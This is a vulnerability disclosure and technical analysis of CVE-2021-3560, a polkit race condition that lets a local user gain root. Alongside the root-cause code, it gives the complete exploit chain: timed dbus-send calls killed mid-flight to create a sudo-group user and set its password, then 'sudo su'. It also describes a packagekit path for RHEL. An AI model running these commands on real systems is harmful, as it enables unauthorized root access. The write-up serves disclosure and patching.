A seven-year-old polkit bug that hands out root
In early June 2021, a privilege escalation vulnerability in polkit was publicly disclosed and patched. Tracked as CVE-2021-3560, the bug lets an unprivileged local user obtain a root shell using nothing more than standard command-line utilities. The underlying flaw was introduced seven years ago, in commit bfa5036, and first shipped with polkit 0.113.
Because polkit is a dependency of systemd, virtually every systemd-based Linux distribution runs it. Yet the vulnerable code did not appear everywhere at once. Debian uses a fork of polkit with its own version numbering, where the bug arrived via commit f81d021 and shipped with version 0.105-26. As a result, Debian 10 ("buster"), which carries 0.105-25, is not vulnerable, while Ubuntu and other derivatives based on Debian unstable are. The affected systems fall roughly as follows:
Distribution
Vulnerable?
RHEL 7
No
RHEL 8
Yes
Fedora 20 (or earlier)
No
Fedora 21 (or later)
Yes
Debian 10 (“buster”)
No
Debian testing (“bullseye”)
Yes
Ubuntu 18.04
No
Ubuntu 20.04
Yes
polkit's role in the system
When you interact with a graphical authentication dialog, polkit is the service making the decision behind the scenes. It acts as an authority: if an action requires extra privileges—creating a user, for instance—polkit determines whether the requester may proceed. Some requests are decided immediately, while others prompt an administrator to authenticate via an authentication agent, which is merely a conduit that forwards the password to the polkit daemon.
Despite its common association with graphical desktops, polkit also operates in text-mode environments. The pkexec command, for example, spawns its own terminal-based authentication agent over SSH:
$ pkexec reboot ==== AUTHENTICATING FOR org.freedesktop.policykit.exec === Authentication is needed to run `/usr/sbin/reboot' as the super user Authenticating as: Kevin Backhouse,,, (kev) Password:
Another path into polkit is dbus-send, a generic D-Bus messaging tool usually installed on systems that use D-Bus. The command below asks accounts-daemon to create a new user:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
Over SSH, this command fails immediately, because dbus-send does not start its own authentication agent the way pkexec does.
Exploiting the race condition
The exploit is unusual in how little it requires. With bash, kill, dbus-send, and a couple of default packages, any local user can escalate to root. The proof of concept relies on accountsservice and gnome-control-center, both of which ship with Ubuntu Desktop by default; on a minimal RHEL server you would install them first:
sudo yum install accountsservice gnome-control-center
The root cause lies in a race between the time dbus-send sends its D-Bus method call and the moment polkit finishes evaluating the request's authorization. If the client process is terminated while polkit is still processing, polkit can end up treating an incomplete request as authorized. The trick is timing: you run the dbus-send command and kill it mid-flight.
Finding the right moment is a matter of measurement. First, time a normal invocation:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
The output shows something like this:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required real 0m0.016s user 0m0.005s sys 0m0.000s
If the command completes in, say, 16 milliseconds, kill it after roughly half that interval:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!
Retries and small adjustments to the delay are expected. A successful run creates a new user named boris, already added to the sudo group:
$ id boris uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)
To make the account usable, set a password by first computing a hash with openssl:
$ openssl passwd -5 iaminvincible! $5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB
Then repeat the race, this time invoking the SetPassword method with the new user's UID and the generated hash:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!
Once more, the delay may need tuning. If it works, you can log in as boris and run sudo to become root:
su - boris # password: iaminvincible! sudo su # password: iaminvincible!

How the pieces interact
Five main processes come into play during a request:

Above the dashed line are the unprivileged processes—dbus-send and the authentication agent. Below it, the privileged system processes. At the center, dbus-daemon brokers every message, and its role is security-critical. It gives each connection a unique bus name (for example, ":1.96") that cannot be forged and that is protected from reuse attacks, unlike a PID. It also enforces that certain D-Bus addresses, such as org.freedesktop.PolicyKit1, can only be registered by root.
A normal request follows this flow:
dbus-sendasksaccounts-daemonto create a new user.accounts-daemonreceives the message with the sender's unique bus name attached bydbus-daemon.accounts-daemonqueries polkit: is connection :1.96 allowed to do this?- polkit asks
dbus-daemonfor the UID behind :1.96. - If the UID is root, polkit authorizes the request outright. Otherwise, it asks the authentication agent to collect credentials from an administrator.
- The agent prompts for the administrator password.
- The agent forwards the password to polkit.
- polkit answers
accounts-daemonaffirmatively. accounts-daemoncrRoot cause: the missing error check
The core flaw sits in the interplay between polkit and
dbus-daemon. At the vulnerable moment, polkit asks the D-Bus daemon for the UID of a connection that no longer exists.dbus-daemoncorrectly returns an error — but polkit mishandles it. Instead of denying the request, polkit treats it as though it originated from UID 0 and authorizes it on the spot.That the trigger is timing-dependent comes down to multiple code paths. Polkit queries the requester's UID several times during a single authorization, and most of those paths do check the return value properly. Only one path drops the ball. Kill the
dbus-sendprocess too early and a correct path handles it, rejecting the attempt. To land on the buggy path you must disconnect at a very specific moment across several interacting processes — which is why the exploit often needs several tries. The subtle timing requirement also explains why the bug went undetected for seven years; an always-firing trigger would have been far easier to hit during testing.The function responsible is
polkit_system_bus_name_get_creds_sync. Its unusual contract — returningTRUEwhile simultaneously setting the error parameter — looks like an intentional design at first blush, but it was a genuine bug. The fix, already applied upstream, changes the function to returnFALSEon error. The problem was that almost every caller checks both the Boolean result and the error value before continuing. The flaw lived in the one caller that didn't.static gboolean polkit_system_bus_name_get_creds_sync ( PolkitSystemBusName *system_bus_name, guint32 *out_uid, guint32 *out_pid, GCancellable *cancellable, GError **error)Here is the vulnerable call path that skipped the error check:
0 in polkit_system_bus_name_get_creds_sync of polkitsystembusname.c:388 1 in polkit_system_bus_name_get_user_sync of polkitsystembusname.c:511 2 in polkit_backend_session_monitor_get_user_for_subject of polkitbackendsessionmonitor-systemd.c:303 3 in check_authorization_sync of polkitbackendinteractiveauthority.c:1121 4 in check_authorization_sync of polkitbackendinteractiveauthority.c:1227 5 in polkit_backend_interactive_authority_check_authorization of polkitbackendinteractiveauthority.c:981 6 in polkit_backend_authority_check_authorization of polkitbackendauthority.c:227 7 in server_handle_check_authorization of polkitbackendauthority.c:790 7 in server_handle_method_call of polkitbackendauthority.c:1272
The actual defect is in
check_authorization_sync, where theerrorvalue is simply never inspected before the code proceeds:/* every subject has a user; this is supplied by the client, so we rely * on the caller to validate its acceptability. */ user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor, subject, NULL, error); if (user_of_subject == NULL) goto out; /* special case: uid 0, root, is _always_ authorized for anything */ if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0) { result = polkit_authorization_result_new (TRUE, FALSE, NULL); goto out; }The
policykit.implydependencyThe initial proof-of-concept depends on more than just
accountsservice: it silently relies ongnome-control-centerbeing installed. Even the exploit's author didn't realize this until the Red Hat security team couldn't reproduce it on a base RHEL 8.4 VM, while it worked flawlessly on Fedora 32 and CentOS Stream. The difference was GNOME — or rather, the polkit annotation that GNOME ships.Polkit supports action implication: when one action is authorized, polkit can grant an equivalent one without prompting again. GNOME's user accounts panel uses this pattern extensively. After you authenticate once to unlock administrative settings, adding another user doesn't ask for another password.
The relevant policy is declared in
gnome-control-center's policy file:/usr/share/polkit-1/actions/org.gnome.controlcenter.user-accounts.policy
The implication at issue:
Authorization to perform user-account administrator actions through the control center also authorizes account management via
accountsservice.GDB traces on the RHEL VM revealed why the exploit failed there: the vulnerable stack trace never appeared. The caveat lives in step four of that trace — a recursive call from
check_authorization_syncback into itself at line 1227, where implication annotations are evaluated:PolkitAuthorizationResult *implied_result = NULL; PolkitImplicitAuthorization implied_implicit_authorization; GError *implied_error = NULL; const gchar *imply_action_id; imply_action_id = polkit_action_description_get_action_id (imply_ad); /* g_debug ("%s is implied by %s, checking", action_id, imply_action_id); */ implied_result = check_authorization_sync (authority, caller, subject, imply_action_id, details, flags, &implied_implicit_authorization, TRUE, &implied_error); if (implied_result != NULL) { if (polkit_authorization_result_get_is_authorized (implied_result)) { g_debug (" is authorized (implied by %s)", imply_action_id); result = implied_result; /* cleanup */ g_strfreev (tokens); goto out; } g_object_unref (implied_result); } if (implied_error != NULL) g_error_free (implied_error);For the bypass to work, the error from
polkit_system_bus_name_get_creds_syncmust not merely be ignored at line 1121, but the caller, too, must drop it. In this recursive block, a temporaryimplied_errorvariable goes unchecked wheneverimplied_resultisn't null. That, in turn, enables the authentication bypass.This constrains the attack to polkit actions implied by other actions — which is exactly why the original PoC needs
gnome-control-center. But a stock RHEL is not out of the woods:packagekit, installed by default, carries a suitablepolicykit.implyannotation for thepackage-installaction. An initial exploit phase can use packagekit to installgnome-control-center, then continue with the standardaccountsserviceattack chain.Impact and remediation
CVE-2021-3560 gives an unprivileged local user root access. The exploit is fast and easy, so patching is urgent. Every system running polkit 0.113 or newer — including RHEL 8 and Ubuntu 20.04 — is exposed. Install vendor updates immediately.



